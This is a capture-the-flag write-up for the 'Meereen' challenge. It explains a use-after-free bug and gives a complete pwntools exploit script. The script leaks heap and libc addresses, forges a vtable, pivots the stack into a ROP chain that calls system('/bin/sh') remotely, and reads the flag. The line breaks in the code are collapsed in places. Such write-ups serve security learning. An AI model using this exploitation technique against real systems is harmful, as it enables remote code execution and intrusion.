# Meereen## Concept
This challenge is a "Use after free". This vulnerability is easy to find, the masters have slaves, if they are killed the slaves are not aware that the master is no longer there.
First of all, we get the heap address. After we leak vtable address, then libc address and we are good to go. 
There is a lot of possibilities for this chall, you could for exemple leak environ to have the stack address, or put your ROP after revolution and do a stack jump to go in your ROP chain
## exploit.py
```#!/usr/bin/env python
import pwnlibfrom pwnlib.util.packing import p64,u64import reimport structimport timeimport sysimport os import subprocess
if len(sys.argv) > 4:    binary_filename = os.path.join(sys.argv[4], "meereen")    libc_filename   = os.path.join(sys.argv[4], "libc.so.6")else:    binary_filename = "../src/meereen"    libc_filename = "/lib64/libc.so.6"
default_timeout = 5
class Communicate :    def __init__(self):         pass
    def begin(self) :        self.conn.recvuntil("Please enter the name of your city!")        self.send("pycity")        self.conn.recvuntil(">")     def send(self,payload) :        return self.conn.sendline(payload)     def interact(self) :        self.conn.interactive(prompt = pwnlib.term.text.bold_red('$'))
    def create(self,name,gold) :        self.send("create")         result = self.conn.recvuntil("Please enter the name : ",timeout=default_timeout)        if result == "" :            raise Exception("error in perso name")        self.send(name)         result = self.conn.recvuntil("Please enter his gold : ",timeout=default_timeout)        if result == "" :            raise Exception("error in perso gold")         self.send(str(gold))        result = self.conn.recvuntil("What type ?\n",timeout=default_timeout)        if result == "" :            raise Exception("error in perso type")
    def create_master(self,name,gold=0) :        self.create(name,gold)        self.send("master")        retour = self.conn.recvuntil(">",timeout=default_timeout)        if "Master successfully insert" not in retour  :            raise Exception("error while inserting master "+name)
     def create_slave(self,name,master,gold=0) :        self.create(name,gold)        self.send("slave")        result = self.conn.recvuntil("Enter master's name",timeout=default_timeout)        if result == "":            raise Exception("Error while creating slave")        self.send(master)        retour = self.conn.recvuntil(">",timeout=default_timeout)        if "Slave successfully insert" not in retour :            raise Exception("error while inserting slave "+name)     def kill(self,name) :        self.send("kill")        result = self.conn.recvuntil("Enter the name please : ",timeout=default_timeout)        if result == "" :            raise Exception("Error while entering name")        self.send(name)        if "character successfully killed" not in self.conn.recvuntil(">",timeout=default_timeout) :            raise Exception("error while killing character")
    def show(self) :        self.send("show")        retour = self.conn.recvuntil(">",timeout=default_timeout)        if retour == '' :            raise Exception("Error while showing people")        return retour 
    def end(self) :        self.conn.sendline("quit")        self.conn.recvuntil("Good bye!")        self.conn.close()
 class CommunicateLtrace(Communicate) :    def __init__(self) :        self.heap_filename = "heap_trace"        self.conn = pwnlib.tubes.process.process(            [                "ltrace",                "-e", "malloc+free",                "-o", self.heap_filename,                binary_filename            ]        )    def end(self) :        Communicate.end(self)
        with open(self.heap_filename,"r") as f :            content = f.read()        new_content = ""        for line in content.split("\n") :            if "->" in line :                new_content += line.split("->")[1] + "\n"         with open(self.heap_filename,"w") as f :            f.write(new_content)
class CommunicateProcess(Communicate) :    def __init__(self) :        self.conn = pwnlib.tubes.process.process(binary_filename)    def end(self) :        Communicate.end(self)
class CommunicateRemote(Communicate) :    def __init__(self,host,port) :        self.conn = pwnlib.tubes.remote.remote(host,port)    def end(self) :        Communicate.end(self)
class MemLeak :    def __init__(self,chall) :        self.chall = chall        self.perso_leak = None
    def memory_leak(self,address,size) :        final_size = size        if size < 0x30 :            size = 0x30        perso_leak = "a"*8        perso_leak += p64(address)        perso_leak += p64(size)        perso_leak += p64(size)        perso_leak += p64(size)        perso_leak += p64(size)        self.chall.create_master(perso_leak)        result = self.chall.show()        result = re.findall("My master is : (.{"+str(size)+"})",result)        self.chall.kill(perso_leak)        if len(result) != 1 :            raise Exception("Impossible to leak address")        return result[0][:final_size]
if __name__ == '__main__' :      from argparse import ArgumentParser
    binary_elf = pwnlib.elf.elf.ELF(binary_filename)    libc_elf = pwnlib.elf.elf.ELF(libc_filename)     addresse__ZNK6Master4showEv = 0x2db0 # maybe this will change     output, _ = subprocess.Popen(["ROPgadget","--binary",libc_filename],stdout=subprocess.PIPE).communicate()    with open("gadgets","w") as f:        f.write(output)    """    leak adresses    """    chall = None    while True :        libc_elf.address   = 0        binary_elf.address = 0        if chall != None :            chall.conn.close()
        try :             chall = CommunicateRemote(sys.argv[1],sys.argv[2])            chall.begin()             for x in range(9) :                chall.create_master("m"*0x40+"{:d}".format(x))            master_leak = "m" * 0x40 + "3"            chall.create_slave("s"*0x40,master_leak)            for x in range(1,9,2) :                 chall.kill("m"*0x40+"{:d}".format(x))             # get heap address for base ref            result = chall.show()            address_heap = u64(re.findall("My master is : (.{8})m{56}3",result)[0])            print "{:30s} : 0x{:x}".format("[+] address heap",address_heap)             # get vtable, text, libc address            mem_leak = MemLeak(chall)             vtable_master = u64(mem_leak.memory_leak(address_heap-0xf0,8))            print "{:30s} : 0x{:x}".format("[+] address vtable master",vtable_master)              address_text = u64(mem_leak.memory_leak(vtable_master,8)) - addresse__ZNK6Master4showEv            print "{:30s} : 0x{:x}".format("[+] address text",address_text)            binary_elf.address = address_text             address_libc = u64(mem_leak.memory_leak(binary_elf.got['fflush'],8)) - libc_elf.symbols["fflush"]            print "{:30s} : 0x{:x}".format("[+] address libc",address_libc)            libc_elf.address = address_libc
            """            Now exploit             """            gadgets = ""            with open("gadgets") as f :                gadgets = f.read()            def get_gadget(my_gadget) :                gadget = re.findall("(0x[a-f0-9]{16}) : "+my_gadget,gadgets)                print gadget                return int(gadget[0],16)             stack_pivot = get_gadget("add rsp, 0x450 ; pop rbx ; ret\n") + libc_elf.address            ret = get_gadget("ret\n") + libc_elf.address            pop_rdi = get_gadget("pop rdi ; ret\n") + libc_elf.address
            fake_vtable = address_heap + 0x130            perso_tnt   = p64(fake_vtable)            perso_tnt   += p64(fake_vtable)            perso_tnt   += p64(0x40)            perso_tnt   += p64(stack_pivot)            perso_tnt   += p64(stack_pivot)            perso_tnt   += p64(stack_pivot)             chall.create_master(perso_tnt)            chall.conn.send(p64(ret)*500+p64(pop_rdi)+p64(next(libc_elf.search("/bin/sh"))) + p64(libc_elf.symbols["system"]) )            chall.conn.recvuntil("\n>")            chall.conn.sendline("revolution")            the_end = chall.conn.recvuntil("Kill the masters ! get all their gold", timeout=default_timeout)            if the_end == "":                raise Exception("revolution didn't work as expected")            chall.conn.sendline("cat /home/my_chall_pwned/flag && exit")            result = chall.conn.recvall(timeout=default_timeout)            result = re.findall("(NDH\\{[^\n]*\\})",result)            if len(result) == 0 :                raise Exception("can't find the flag")            print result[0]            exit()
        except Exception as e :            print e            #chall.end()   
```